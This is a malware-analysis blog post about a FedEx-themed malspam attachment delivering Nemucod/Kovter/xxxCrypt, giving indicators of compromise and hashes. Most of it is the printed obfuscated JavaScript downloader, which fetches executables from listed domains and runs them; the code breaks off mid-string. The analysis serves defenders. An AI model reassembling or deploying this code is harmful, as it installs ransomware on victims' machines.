{"id":535,"date":"2016-06-16T12:37:11","date_gmt":"2016-06-16T11:37:11","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=535"},"modified":"2016-06-17T13:55:23","modified_gmt":"2016-06-17T12:55:23","slug":"2016-06-14-nemucodkovterxxxcrypt-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=535","title":{"rendered":"2016-06-14 Malspam Delivers Nemucod\/Kovter\/xxxCrypt"},"content":{"rendered":"

Here is another example of some malspam I was able to find the other day while at work. From what I can tell this is the standard Nemucod\/Kovter malware (since it drops other malicious binaries on the system) with a version of XXXCrypt embedded in it. I was able to find some more information about this malware (which looks very close to the sample that I have below) over on Fortinet’s blog post here<\/a>. There was one thing that was different that Fortinet’s blog did not talk about – the presenece of some PHP files. Another blog from Reaqta talks about the additional PHP files which you can read about here<\/a>.<\/p>\n

For the files, ProcMon logs, and PCAP that I was able to obtain from this investigation, please see my Github repo for this here<\/a>.<\/p>\n

Below is the screen cap of the malicious email:<\/p>\n

\"\"<\/a><\/p>\n

– Indicators of compromise from this investigation:
\n===================================================
\n> kutubhanam.com \/ 80
\n> suwandesign.com \/ 80
\n> www.mariaberdun.com \/ 80
\n> nikkov.com \/ 80
\n> clermontcentralchurch.org \/ 80
\n> URI string containing “\/counter\/?ad=”<\/p>\n

Information about the malspam:
\n==============================
\nName of attachment: FedEx_00000235087.zip
\nSize: 9.03 KB
\nSHA1 hash: 3e4dffad62a03a0c7ec33981167ef8c221bdfdc1
\nVirustotal: NA
\nMalwr: NA
\nPayload Security: NA<\/p>\n

File within attachment: FedEx_00000235087.doc.js
\nSize: 36.3 KB
\nSHA1 hash: 80a9731fe1aead24c9670c23eae17436e2835f4f
\nVirustotal: NA
\nMalwr: NA
\nPayload Security: NA<\/p>\n

Investigation of the malspam:
\n=============================
\nHere is the javascript code before I de-obfuscated it using Revelo:<\/p>\n

\r\nvar q86 = 'var ';\r\nvar v79 = 'Writ';\r\nv79 += 'oins';\r\nq86 += 'id="';\r\nv79 += '; v';\r\nv79 += '."';\r\nq86 += 'Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0"';\r\nv79 += 'LEAS';\r\nv79 += 'ins';\r\nq86 += '; va';\r\nv79 += '=0';\r\nq86 += 'r a';\r\nv79 += '+n+';\r\nq86 += 'd="1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf';\r\nv79 += '; ';\r\nv79 += '=1; ';\r\nq86 += '"; v';\r\nv79 += '"+cs';\r\nq86 += 'ar ';\r\nv79 += 'Bo';\r\nq86 += 'bc="';\r\nv79 += 'ts, ';\r\nq86 += '0.';\r\nv79 += 'ent';\r\nv79 += 'cs';\r\nq86 += '44';\r\nv79 += 's+"';\r\nv79 += 'Wri';\r\nq86 += '591';\r\nv79 += ' fp.';\r\nv79 += '\/loc';\r\nq86 += '"; v';\r\nv79 += ' RE';\r\nq86 += 'ar ';\r\nv79 += 'en("';\r\nv79 += 'kov';\r\nq86 += 'ld';\r\nv79 += '"+c';\r\nq86 += '=0;';\r\nv79 += 'se';\r\nq86 += ' var';\r\nv79 += ';n';\r\nv79 += 'ith ';\r\nq86 += ' c';\r\nv79 += 'eLi';\r\nv79 += '+cs+';\r\nq86 += 'q=S';\r\nv79 += '); ';\r\nq86 += 'trin';\r\nv79 += '"  ';\r\nq86 += 'g.fr';\r\nv79 += 'c.")';\r\nv79 += ' };';\r\nq86 += 'omC';\r\nv79 += 'e(""';\r\nv79 += 'g.fr';\r\nq86 += 'ha';\r\nv79 += 'd="';\r\nv79 += 'OS';\r\nq86 += 'rCod';\r\nv79 += ' (b';\r\nv79 += 'Wri';\r\nq86 += 'e(34';\r\nv79 += 'G_SZ';\r\nv79 += '+bc';\r\nq86 += '); v';\r\nv79 += 'aym';\r\nq86 += 'ar c';\r\nv79 += '+n, ';\r\nv79 += 'uy';\r\nq86 += 's=';\r\nv79 += 'r){';\r\nv79 += '("A';\r\nq86 += 'Stri';\r\nv79 += 'id+"';\r\nq86 += 'ng';\r\nv79 += ' f';\r\nv79 += 'trea';\r\nq86 += '.fr';\r\nv79 += '"+c';\r\nv79 += 'trin';\r\nq86 += 'omCh';\r\nv79 += '"+';\r\nq86 += 'arCo';\r\nv79 += 't pe';\r\nq86 += 'de';\r\nv79 += '.Wr';\r\nq86 += '(9';\r\nv79 += '5. ';\r\nq86 += '2)';\r\nv79 += 's ';\r\nv79 += 'p.';\r\nq86 += '; v';\r\nv79 += ' fo';\r\nv79 += ' (b';\r\nq86 += 'ar ';\r\nv79 += 'in';\r\nq86 += 'll=';\r\nv79 += 'ite';\r\nq86 += '["';\r\nv79 += 'G_SZ';\r\nq86 += 'kutu';\r\nv79 += 'DEL';\r\nq86 += 'bha';\r\nv79 += 'fp=f';\r\nv79 += 'COM';\r\nq86 += 'na';\r\nv79 += 'teO';\r\nq86 += 'm.c';\r\nv79 += 'r){';\r\nv79 += '%COM';\r\nq86 += 'om"';\r\nv79 += 'y ';\r\nq86 += ',"s';\r\nv79 += ' c';\r\nq86 += 'uw';\r\nv79 += '" ';\r\nq86 += 'and';\r\nv79 += ' f';\r\nq86 += 'esi';\r\nv79 += 'i<l';\r\nv79 += 'cryp';\r\nq86 += 'gn.c';\r\nv79 += '0,';\r\nq86 += 'om"';\r\nv79 += '+" ';\r\nq86 += ',"ww';\r\nv79 += '; f';\r\nq86 += 'w.m';\r\nv79 += '"+';\r\nv79 += 'Exi';\r\nq86 += 'aria';\r\nv79 += '.res';\r\nq86 += 'be';\r\nv79 += '+".';\r\nq86 += 'rdun';\r\nv79 += 'ne';\r\nv79 += ';f';\r\nq86 += '.com';\r\nv79 += 'cq+f';\r\nq86 += '","n';\r\nv79 += 'exc';\r\nv79 += ' htt';\r\nq86 += 'ik';\r\nv79 += '"+';\r\nv79 += 'C% \/';\r\nq86 += 'kov';\r\nv79 += '"+c';\r\nv79 += '0,';\r\nq86 += '.co';\r\nv79 += 'm","';\r\nq86 += 'm","';\r\nv79 += 'nm';\r\nq86 += 'cler';\r\nv79 += 'fp.';\r\nq86 += 'mont';\r\nv79 += ' ws.';\r\nv79 += 'ing ';\r\nq86 += 'cent';\r\nv79 += 'un(';\r\nv79 += '+"';\r\nq86 += 'ra';\r\nv79 += '.Fi';\r\nv79 += 'id+"';\r\nq86 += 'lch';\r\nv79 += 'ld';\r\nv79 += '"&i';\r\nq86 += 'ur';\r\nv79 += '); x';\r\nv79 += '}; ';\r\nq86 += 'ch.';\r\nv79 += 'te';\r\nq86 += 'org"';\r\nv79 += 'ing';\r\nv79 += 'ine';\r\nq86 += '];';\r\nv79 += '=ld;';\r\nq86 += ' va';\r\nv79 += 'e ';\r\nq86 += 'r ws';\r\nv79 += '=0';\r\nv79 += 'ar c';\r\nq86 += '=W';\r\nv79 += ' va';\r\nv79 += 'r ';\r\nq86 += 'Sc';\r\nv79 += 'Wri';\r\nq86 += 'rip';\r\nv79 += '=ld;';\r\nv79 += 'n"';\r\nq86 += 't.Cr';\r\nv79 += '+"';\r\nq86 += 'ea';\r\nv79 += 'erP';\r\nq86 += 'te';\r\nv79 += 'he';\r\nv79 += 'e(';\r\nq86 += 'Obj';\r\nv79 += '();';\r\nv79 += 'ng';\r\nq86 += 'ec';\r\nv79 += ' f';\r\nq86 += 't("W';\r\nv79 += '+cs+';\r\nq86 += 'Scri';\r\nv79 += 'ec';\r\nq86 += 'pt.S';\r\nv79 += 'un(';\r\nq86 += 'he';\r\nv79 += '.fr';\r\nv79 += 'Wri';\r\nq86 += 'll"';\r\nv79 += 'o no';\r\nq86 += '); ';\r\nv79 += '",';\r\nq86 += 'var';\r\nv79 += 'ine(';\r\nv79 += ' \/';\r\nq86 += ' fn';\r\nv79 += 'te';\r\nq86 += '=ws';\r\nv79 += '.Ex';\r\nv79 += 'e("P';\r\nq86 += '.Exp';\r\nv79 += 'xt"+';\r\nq86 += 'an';\r\nv79 += 't=';\r\nq86 += 'dE';\r\nv79 += 'g.fr';\r\nv79 += '\/?a';\r\nq86 += 'nv';\r\nv79 += 'o.se';\r\nv79 += 'ar ';\r\nq86 += 'iro';\r\nv79 += ' d';\r\nv79 += 'epad';\r\nq86 += 'nm';\r\nv79 += 'All ';\r\nq86 += 'en';\r\nv79 += ' }';\r\nq86 += 'tS';\r\nv79 += 'Exi';\r\nq86 += 'tri';\r\nv79 += 'eLin';\r\nv79 += 'd+';\r\nq86 += 'ngs(';\r\nv79 += 's+';\r\nq86 += '"%TE';\r\nv79 += 'lo';\r\nv79 += '=0;';\r\nq86 += 'MP';\r\nv79 += '.w';\r\nq86 += '%"';\r\nv79 += 'th';\r\nv79 += 'own';\r\nq86 += ')+';\r\nv79 += '&st=';\r\nv79 += 'en';\r\nq86 += 'cs';\r\nv79 += 'o p';\r\nv79 += '. S';\r\nq86 += '+"a';\r\nv79 += ' fo';\r\nv79 += '("';\r\nq86 += '";';\r\nv79 += 'p.';\r\nq86 += ' va';\r\nv79 += '<=5';\r\nq86 += 'r ';\r\nv79 += ' RS';\r\nq86 += 'pd';\r\nv79 += 'fp.';\r\nv79 += 'ar ';\r\nq86 += '=ws';\r\nv79 += 'e(""';\r\nv79 += 'ne';\r\nq86 += '.Ex';\r\nv79 += ' \/';\r\nv79 += '"%';\r\nq86 += 'pand';\r\nv79 += 'e"';\r\nv79 += ') &&';\r\nq86 += 'En';\r\nv79 += 'ne(';\r\nq86 += 'vi';\r\nv79 += ' hel';\r\nq86 += 'ron';\r\nv79 += 'n+';\r\nq86 += 'me';\r\nv79 += 'yo';\r\nq86 += 'ntS';\r\nv79 += 'you';\r\nq86 += 'tr';\r\nv79 += 'ne';\r\nv79 += 'ng';\r\nq86 += 'ing';\r\nv79 += '0)';\r\nq86 += 's(';\r\nv79 += 'CO';\r\nq86 += '"%T';\r\nv79 += '0);';\r\nv79 += 'i<l';\r\nq86 += 'EMP';\r\nv79 += ',2';\r\nv79 += 'cler';\r\nq86 += '%"';\r\nv79 += 'fp.';\r\nv79 += 't(';\r\nq86 += ')+c';\r\nv79 += 'PT';\r\nq86 += 's+';\r\nv79 += '("';\r\nq86 += '"ph';\r\nv79 += ' fo';\r\nq86 += 'p4t';\r\nv79 += '+ll[';\r\nv79 += '); x';\r\nq86 += 's.dl';\r\nv79 += 'y."';\r\nv79 += 'rit';\r\nq86 += 'l";';\r\nv79 += '0)';\r\nv79 += 'o.';\r\nq86 += ' va';\r\nv79 += 'y af';\r\nv79 += ' va';\r\nq86 += 'r xo';\r\nv79 += 'Li';\r\nq86 += '=WS';\r\nv79 += ' fal';\r\nq86 += 'cri';\r\nv79 += 'TTE';\r\nq86 += 'pt';\r\nv79 += 'ppD';\r\nq86 += '.Cr';\r\nv79 += 's ';\r\nq86 += 'eat';\r\nv79 += '.Cl';\r\nq86 += 'eOb';\r\nv79 += '.w';\r\nv79 += 'pted';\r\nq86 += 'jec';\r\nv79 += 'ow';\r\nq86 += 't("M';\r\nv79 += '+".t';\r\nq86 += 'sxml';\r\nv79 += 'r){';\r\nv79 += '"  ';\r\nq86 += '2.';\r\nv79 += 'F ';\r\nq86 += 'XM';\r\nv79 += 's+';\r\nq86 += 'LHT';\r\nv79 += 'ileE';\r\nv79 += 'i++)';\r\nq86 += 'TP';\r\nv79 += 'ar ';\r\nq86 += '");';\r\nv79 += 'ws.R';\r\nq86 += ' va';\r\nv79 += 'cq,0';\r\nv79 += '"%';\r\nq86 += 'r x';\r\nv79 += '); f';\r\nv79 += '; ';\r\nq86 += 'a=';\r\nv79 += 'fp';\r\nv79 += 'CR';\r\nq86 += 'WScr';\r\nv79 += 'p4t';\r\nv79 += ' \/';\r\nq86 += 'ipt.';\r\nv79 += '\/?a';\r\nv79 += ',"ht';\r\nq86 += 'Cre';\r\nv79 += '.w';\r\nv79 += '; ws';\r\nq86 += 'ate';\r\nv79 += 'lo';\r\nv79 += 'en ';\r\nq86 += 'Obj';\r\nv79 += 'r a';\r\nq86 += 'ect';\r\nv79 += '+"S';\r\nq86 += '("';\r\nv79 += 'll[';\r\nq86 += 'ADOD';\r\nv79 += 's+';\r\nv79 += '+"';\r\nq86 += 'B.S';\r\nv79 += '"+';\r\nq86 += 'trea';\r\nv79 += 'cs';\r\nv79 += '; v';\r\nq86 += 'm")';\r\nv79 += 'ne';\r\nv79 += '; f';\r\nq86 += '; v';\r\nv79 += 'kutu';\r\nv79 += 'o.';\r\nq86 += 'ar ';\r\nv79 += '; f';\r\nq86 += 'fo';\r\nv79 += 'xt';\r\nq86 += '=WS';\r\nv79 += 'oins';\r\nv79 += '\/y';\r\nq86 += 'cri';\r\nv79 += '<=2';\r\nq86 += 'pt.C';\r\nv79 += '0,0';\r\nv79 += 'ro';\r\nq86 += 'rea';\r\nv79 += 'cq+"';\r\nq86 += 'teO';\r\nv79 += 'xa.c';\r\nv79 += '("';\r\nq86 += 'bjec';\r\nv79 += 'eLi';\r\nv79 += '+"a';\r\nq86 += 't(';\r\nv79 += '"+c';\r\nv79 += 'ere';\r\nq86 += '"Scr';\r\nv79 += 'p y';\r\nq86 += 'ipti';\r\nv79 += '];';\r\nv79 += '"+';\r\nq86 += 'ng';\r\nv79 += 'en ';\r\nq86 += '.Fi';\r\nv79 += '  ';\r\nv79 += ' ws.';\r\nq86 += 'le';\r\nv79 += 'her';\r\nq86 += 'Sy';\r\nv79 += '; } ';\r\nq86 += 'st';\r\nv79 += '); f';\r\nv79 += 'in';\r\nq86 += 'emOb';\r\nv79 += '); x';\r\nv79 += 'ine';\r\nq86 += 'je';\r\nv79 += 'rt';\r\nq86 += 'ct"';\r\nv79 += 'eLi';\r\nq86 += ');';\r\nv79 += 'e(';\r\nq86 += ' if';\r\nv79 += 'c D';\r\nv79 += 'EL ';\r\nq86 += ' (!f';\r\nv79 += '.Run';\r\nv79 += '); ';\r\nq86 += 'o.Fi';\r\nv79 += 'ent';\r\nv79 += 'll[';\r\nq86 += 'leEx';\r\nv79 += 'his ';\r\nq86 += 'ists';\r\nv79 += ' fal';\r\nq86 += '(fn';\r\nv79 += ');';\r\nv79 += 'cq';\r\nq86 += '+".t';\r\nv79 += 'ose(';\r\nv79 += 'n"';\r\nq86 += 'xt")';\r\nv79 += 'o.Cr';\r\nq86 += ') {';\r\nv79 += 'ing ';\r\nv79 += '("%';\r\nq86 += ' fo';\r\nv79 += '",';\r\nv79 += ',2)';\r\nq86 += 'r(';\r\nv79 += '"+c';\r\nv79 += 'rit';\r\nq86 += 'var ';\r\nv79 += 'i++)';\r\nv79 += 'g ';\r\nq86 += 'n=';\r\nv79 += 'a.';\r\nq86 += '1;n';\r\nv79 += 'u m';\r\nv79 += 'her';\r\nq86 += '<=5';\r\nv79 += '+"a';\r\nv79 += 'se';\r\nq86 += ';n';\r\nv79 += 'om"';\r\nv79 += 'ne';\r\nq86 += '++) ';\r\nv79 += 'Fi';\r\nv79 += 'cash';\r\nq86 += '{ fo';\r\nv79 += ' to';\r\nv79 += '){x';\r\nq86 += 'r(v';\r\nv79 += 'sa';\r\nq86 += 'ar i';\r\nv79 += 'd ';\r\nq86 += '=ld;';\r\nv79 += 'un';\r\nv79 += '1;n';\r\nq86 += 'i<l';\r\nv79 += 'in';\r\nv79 += 'you';\r\nq86 += 'l.le';\r\nv79 += '"%';\r\nq86 += 'ng';\r\nv79 += '+f';\r\nq86 += 'th';\r\nv79 += 'd="';\r\nv79 += 'ld';\r\nq86 += ';i++';\r\nv79 += 'fp.';\r\nv79 += 'te';\r\nq86 += ') ';\r\nv79 += 'B.S';\r\nv79 += 'COM';\r\nq86 += '{ ';\r\nv79 += 'p4t';\r\nq86 += 'var ';\r\nv79 += 'n=1';\r\nq86 += 'dn';\r\nv79 += 'ine(';\r\nq86 += '=0';\r\nv79 += '=5)';\r\nq86 += '; ';\r\nv79 += '(ad';\r\nv79 += 'Writ';\r\nq86 += 'try ';\r\nv79 += 'he';\r\nq86 += '{ xo';\r\nv79 += 'Your';\r\nq86 += '.op';\r\nv79 += 'te';\r\nv79 += ']+"\/';\r\nq86 += 'en("';\r\nv79 += 'ar c';\r\nv79 += ')+';\r\nq86 += 'GET"';\r\nv79 += 'e("';\r\nq86 += ',"ht';\r\nv79 += 'PE';\r\nv79 += 'teL';\r\nq86 += 'tp';\r\nv79 += 'ld';\r\nq86 += ':\/';\r\nv79 += 's.';\r\nv79 += 'Lin';\r\nq86 += '\/"+';\r\nv79 += '"+c';\r\nq86 += 'll[';\r\nv79 += ' a';\r\nq86 += 'i]';\r\nv79 += 'Sc';\r\nq86 += '+"\/';\r\nv79 += 'dy';\r\nv79 += 'ng';\r\nq86 += 'coun';\r\nv79 += 'e(fn';\r\nq86 += 'te';\r\nv79 += 'cu';\r\nq86 += 'r\/?';\r\nv79 += 'DEL';\r\nv79 += 'el';\r\nq86 += 'ad';\r\nv79 += '\/"';\r\nq86 += '="';\r\nv79 += '=1){';\r\nq86 += '+ad+';\r\nv79 += '."';\r\nv79 += 'ite';\r\nq86 += '"&i';\r\nv79 += '; ';\r\nq86 += 'd="';\r\nv79 += 'ar ';\r\nv79 += ',2);';\r\nq86 += '+id';\r\nv79 += '; } ';\r\nq86 += '+"&';\r\nv79 += 'eLi';\r\nq86 += 'rn';\r\nv79 += '(9';\r\nv79 += 'id+';\r\nq86 += 'd="';\r\nv79 += 'ur ';\r\nq86 += '+i';\r\nv79 += 'kutu';\r\nv79 += 'L Y';\r\nq86 += '+n, ';\r\nv79 += 'ps:\/';\r\nv79 += '.st';\r\nq86 += 'fal';\r\nv79 += '+id';\r\nq86 += 'se';\r\nv79 += ',"s';\r\nq86 += '); x';\r\nv79 += '\/"+';\r\nv79 += '.Wr';\r\nq86 += 'o.se';\r\nv79 += 'p y';\r\nv79 += ',"h';\r\nq86 += 'nd()';\r\nv79 += 'SPE';\r\nv79 += 'esk';\r\nq86 += '; if';\r\nv79 += 'iro';\r\nv79 += 'd ';\r\nq86 += '(xo';\r\nv79 += 'o p';\r\nq86 += '.st';\r\nv79 += 'nse';\r\nq86 += 'at';\r\nv79 += 'des';\r\nq86 += 'us=';\r\nv79 += '++) ';\r\nq86 += '=20';\r\nv79 += 'C% \/';\r\nv79 += 'iteL';\r\nq86 += '0) {';\r\nv79 += 'ing';\r\nv79 += ' f';\r\nq86 += ' x';\r\nv79 += 'ne';\r\nv79 += '.op';\r\nq86 += 'a.o';\r\nv79 += 'E AL';\r\nq86 += 'pen(';\r\nv79 += 'tr';\r\nq86 += '); x';\r\nv79 += 'TTE';\r\nv79 += '("';\r\nq86 += 'a.ty';\r\nv79 += 'Li';\r\nv79 += 'll"';\r\nq86 += 'pe';\r\nv79 += '=20';\r\nv79 += '{ ';\r\nq86 += '=1; ';\r\nv79 += 'rit';\r\nv79 += 'to';\r\nq86 += 'xa';\r\nv79 += 'rch';\r\nq86 += '.w';\r\nv79 += '"  ';\r\nq86 += 'rit';\r\nv79 += 'n+".';\r\nv79 += 'ou d';\r\nq86 += 'e(';\r\nv79 += 'c ';\r\nq86 += 'xo';\r\nv79 += 'xe ';\r\nv79 += '"\/c';\r\nq86 += '.res';\r\nv79 += 'e("';\r\nv79 += 'lo';\r\nq86 += 'po';\r\nv79 += 'C w';\r\nv79 += 'o.Cr';\r\nq86 += 'nse';\r\nv79 += '"+cq';\r\nq86 += 'Bo';\r\nv79 += 's+';\r\nv79 += '"+';\r\nq86 += 'dy';\r\nv79 += 'txt';\r\nq86 += '); ';\r\nv79 += ' fp';\r\nv79 += 'teL';\r\nq86 += 'if(x';\r\nv79 += '."';\r\nq86 += 'a.si';\r\nv79 += 'm.c';\r\nv79 += ' f';\r\nq86 += 'ze>';\r\nv79 += ' fp.';\r\nq86 += '10';\r\nv79 += 'ws.R';\r\nq86 += '00)';\r\nv79 += 'tab';\r\nv79 += 'ne("';\r\nq86 += ' { d';\r\nv79 += 'ECR';\r\nv79 += 'q,0,';\r\nq86 += 'n=1';\r\nv79 += '("")';\r\nq86 += '; i';\r\nv79 += 'in 3';\r\nv79 += '0);';\r\nq86 += 'f(n';\r\nv79 += 'ine(';\r\nq86 += '<=2';\r\nv79 += 'iru';\r\nv79 += 'osof';\r\nq86 += '){x';\r\nv79 += 'sk';\r\nv79 += 'It`';\r\nq86 += 'a.s';\r\nv79 += 'st';\r\nq86 += 'aveT';\r\nv79 += '=WS';\r\nq86 += 'oFi';\r\nv79 += '=ws';\r\nv79 += 'lo';\r\nq86 += 'le';\r\nv79 += 'pt.C';\r\nq86 += '(fn';\r\nv79 += '   ';\r\nq86 += '+n+';\r\nv79 += 'bc="';\r\nq86 += '".';\r\nv79 += '+" ';\r\nq86 += 'exe"';\r\nv79 += ' i';\r\nq86 += ',2';\r\nv79 += 'ect';\r\nq86 += ');';\r\nv79 += 'uy';\r\nv79 += 's(fn';\r\nq86 += 'try{';\r\nv79 += 'd)';\r\nv79 += 'ws.R';\r\nq86 += 'ws.R';\r\nv79 += 'id+';\r\nq86 += 'un(';\r\nv79 += 'll"';\r\nq86 += 'fn';\r\nv79 += 'o t';\r\nq86 += '+n';\r\nv79 += 'r ws';\r\nq86 += '+".e';\r\nv79 += 'fp';\r\nv79 += ').';\r\nq86 += 'xe",';\r\nv79 += 'cryp';\r\nv79 += 'REG_';\r\nq86 += '1,';\r\nv79 += ' you';\r\nv79 += 'fn';\r\nq86 += '0);';\r\nv79 += 'eLi';\r\nv79 += '.txt';\r\nq86 += '}c';\r\nv79 += '; ';\r\nv79 += 'na';\r\nq86 += 'atc';\r\nv79 += 'her';\r\nq86 += 'h(';\r\nv79 += '.Run';\r\nq86 += 'er){';\r\nv79 += 'om"';\r\nv79 += 'n+';\r\nq86 += '};} ';\r\nv79 += '10';\r\nv79 += 'q=S';\r\nq86 += 'else';\r\nv79 += '; v';\r\nq86 += ' i';\r\nv79 += '; ';\r\nq86 += 'f(n=';\r\nv79 += '.st';\r\nq86 += '=3';\r\nv79 += 'ne(';\r\nq86 += '){x';\r\nv79 += 'Stri';\r\nv79 += 'fil';\r\nq86 += 'a.';\r\nv79 += 'rit';\r\nq86 += 'sa';\r\nv79 += '"+a';\r\nv79 += 'ope';\r\nq86 += 've';\r\nv79 += 'fp';\r\nq86 += 'To';\r\nv79 += 'ay';\r\nq86 += 'Fi';\r\nv79 += 'd="';\r\nq86 += 'le(f';\r\nv79 += 'ou d';\r\nv79 += '\/"';\r\nq86 += 'n+".';\r\nv79 += 'ar c';\r\nq86 += 'ex';\r\nv79 += 'ry';\r\nq86 += 'e"';\r\nv79 += 'om';\r\nq86 += ',2);';\r\nv79 += 'tr';\r\nv79 += 'bha';\r\nq86 += '} ';\r\nv79 += 'pen';\r\nv79 += '0,0';\r\nq86 += 'el';\r\nv79 += 'id+"';\r\nv79 += 'eLi';\r\nq86 += 'se ';\r\nv79 += 'To';\r\nv79 += '.w';\r\nq86 += 'if(n';\r\nv79 += 'de';\r\nq86 += '==4)';\r\nv79 += 'xo';\r\nq86 += '{xa.';\r\nv79 += 'ro';\r\nq86 += 'sav';\r\nv79 += 'll"';\r\nq86 += 'eT';\r\nv79 += 'Clo';\r\nq86 += 'oFi';\r\nv79 += 'ma';\r\nv79 += 'rn';\r\nq86 += 'le(';\r\nv79 += ',"s';\r\nv79 += '; ';\r\nq86 += 'pd,2';\r\nv79 += 'L ';\r\nv79 += 'te';\r\nq86 += ');';\r\nv79 += 'in';\r\nv79 += 'ite';\r\nq86 += '} e';\r\nv79 += 'E RE';\r\nv79 += 'fn';\r\nq86 += 'ls';\r\nv79 += 'ort';\r\nq86 += 'e i';\r\nv79 += '"%CO';\r\nv79 += '+c';\r\nq86 += 'f(n=';\r\nv79 += 'ne("';\r\nq86 += '=5)';\r\nv79 += 'l[i';\r\nv79 += 'fp.';\r\nq86 += '{xa.';\r\nv79 += 'oins';\r\nv79 += '"+cq';\r\nq86 += 'sa';\r\nv79 += 'to';\r\nv79 += 'ph';\r\nq86 += 'veT';\r\nv79 += 'top"';\r\nq86 += 'oF';\r\nv79 += '0)';\r\nq86 += 'ile(';\r\nv79 += 'je';\r\nv79 += 'Li';\r\nq86 += 'fn';\r\nv79 += 'e"';\r\nv79 += ' RS';\r\nq86 += '+".p';\r\nv79 += 'ik';\r\nq86 += 'hp"';\r\nv79 += 'h(';\r\nq86 += ',2)';\r\nv79 += 'na';\r\nq86 += ';}';\r\nv79 += 'dn=';\r\nq86 += ' }';\r\nv79 += 'her';\r\nq86 += '; ';\r\nv79 += '+"Cr';\r\nv79 += 'est';\r\nq86 += 'xa.c';\r\nv79 += '} ';\r\nv79 += 'usin';\r\nq86 += 'lo';\r\nv79 += 'HKCR';\r\nv79 += 'PE';\r\nq86 += 'se';\r\nv79 += 'fp.W';\r\nq86 += '();';\r\nv79 += 'C% \/';\r\nv79 += 'rip';\r\nq86 += ' };';\r\nv79 += '+cq+';\r\nq86 += ' i';\r\nv79 += '+".t';\r\nq86 += 'f(';\r\nv79 += 'o.';\r\nq86 += 'dn=';\r\nv79 += '.Ex';\r\nq86 += '=1){';\r\nv79 += 'dn=';\r\nq86 += 'ld=i';\r\nv79 += 'd="';\r\nq86 += ';b';\r\nv79 += '. B';\r\nq86 += 'rea';\r\nv79 += 'Writ';\r\nv79 += '")';\r\nq86 += 'k;}';\r\nv79 += 'le';\r\nq86 += '; } ';\r\nv79 += 'o no';\r\nq86 += 'ca';\r\nv79 += ',2);';\r\nq86 += 'tc';\r\nv79 += 'G AD';\r\nv79 += ':\/';\r\nq86 += 'h(e';\r\nv79 += 'd"+';\r\nq86 += 'r){';\r\nv79 += 'na';\r\nv79 += 'xe"';\r\nq86 += '}; ';\r\nv79 += '+i';\r\nv79 += 'eat';\r\nq86 += '}; ';\r\nv79 += ',0);';\r\nv79 += '+"Ru';\r\nq86 += '};';\r\nv79 += 'PT';\r\nv79 += 'sta';\r\nq86 += ' if';\r\nv79 += '(fn+';\r\nv79 += '".';\r\nq86 += '(fo';\r\nv79 += 'ther';\r\nv79 += 've';\r\nq86 += '.Fi';\r\nv79 += '=20';\r\nq86 += 'le';\r\nv79 += 'o p';\r\nq86 += 'Exi';\r\nv79 += 'ad';\r\nv79 += 'EC% ';\r\nq86 += 'st';\r\nv79 += '; f';\r\nq86 += 's(fn';\r\nv79 += 'Ru';\r\nq86 += '+".';\r\nv79 += '(var';\r\nq86 += 'exe"';\r\nv79 += 'dy ';\r\nq86 += ') &&';\r\nv79 += 'rip';\r\nv79 += 'bha';\r\nq86 += ' fo';\r\nv79 += 'p"+';\r\nv79 += 'll.l';\r\nq86 += '.F';\r\nv79 += 'p.Wr';\r\nv79 += 'dres';\r\nq86 += 'ileE';\r\nv79 += 'r do';\r\nq86 += 'xis';\r\nv79 += 'c+" ';\r\nq86 += 'ts';\r\nv79 += '""';\r\nq86 += '(pd)';\r\nv79 += 's ';\r\nq86 += ' &&';\r\nv79 += 'ea';\r\nv79 += 'll[';\r\nq86 += ' fo';\r\nv79 += 'send';\r\nq86 += '.F';\r\nv79 += 'en';\r\nv79 += '=ld;';\r\nq86 += 'ileE';\r\nv79 += '"+cq';\r\nq86 += 'xi';\r\nv79 += '44';\r\nq86 += 'sts';\r\nv79 += 'ine';\r\nv79 += '"%CO';\r\nq86 += '(fn+';\r\nv79 += 'var';\r\nq86 += '".ph';\r\nv79 += 'teL';\r\nv79 += ' a';\r\nq86 += 'p")';\r\nv79 += '\/?a';\r\nv79 += 'ay';\r\nq86 += ') { ';\r\nv79 += 'pen(';\r\nv79 += '".e';\r\nq86 += 'xo.o';\r\nv79 += 'en';\r\nv79 += 'g ';\r\nq86 += 'pen';\r\nv79 += 'je';\r\nq86 += '("';\r\nv79 += 'ual';\r\nv79 += 'LEAS';\r\nq86 += 'GET"';\r\nv79 += 'Wri';\r\nq86 += ',"ht';\r\nv79 += ' RE';\r\nq86 += 'tp:\/';\r\nv79 += 'or';\r\nq86 += '\/"';\r\nv79 += 'un(';\r\nv79 += 'cq+"';\r\nq86 += '+ll[';\r\nv79 += '.Cr';\r\nv79 += 'Bo';\r\nq86 += 'ld]+';\r\nv79 += '.");';\r\nq86 += '"\/c';\r\nv79 += 'RE';\r\nv79 += '".ph';\r\nq86 += 'oun';\r\nv79 += ' x';\r\nv79 += 'Ru';\r\nq86 += 'te';\r\nv79 += 'rn';\r\nq86 += 'r\/?a';\r\nv79 += 'Stri';\r\nv79 += 'ng';\r\nq86 += 'd=';\r\nv79 += 'te';\r\nq86 += '"+a';\r\nv79 += '00)';\r\nv79 += '("%C';\r\nq86 += 'd+';\r\nv79 += 'atc';\r\nq86 += '"&i';\r\nv79 += '+f';\r\nv79 += 'dn';\r\nq86 += 'd="+';\r\nv79 += 'Scri';\r\nv79 += 'eat';\r\nq86 += 'id+';\r\nv79 += '); ';\r\nq86 += '"&s';\r\nv79 += ' \/';\r\nv79 += 'cri';\r\nq86 += 't=';\r\nv79 += 'ze>';\r\nv79 += 'e i';\r\nq86 += 'sta';\r\nv79 += 'teLi';\r\nq86 += 'rt';\r\nv79 += '("';\r\nv79 += 'can';\r\nq86 += '",';\r\nv79 += 'ell"';\r\nq86 += ' fal';\r\nv79 += ',"ht';\r\nq86 += 'se);';\r\nv79 += 'a.s';\r\nq86 += ' x';\r\nv79 += '   ';\r\nv79 += 'ne("';\r\nq86 += 'o.';\r\nv79 += ');';\r\nq86 += 'send';\r\nv79 += '"+c';\r\nv79 += '(fn';\r\nq86 += '()';\r\nv79 += 'an';\r\nq86 += '; v';\r\nv79 += '("';\r\nv79 += '"+a';\r\nq86 += 'ar ';\r\nv79 += '- No';\r\nq86 += 'fp=f';\r\nv79 += 'try ';\r\nq86 += 'o.';\r\nv79 += '";';\r\nv79 += 'SPEC';\r\nq86 += 'Crea';\r\nv79 += '+"HK';\r\nv79 += 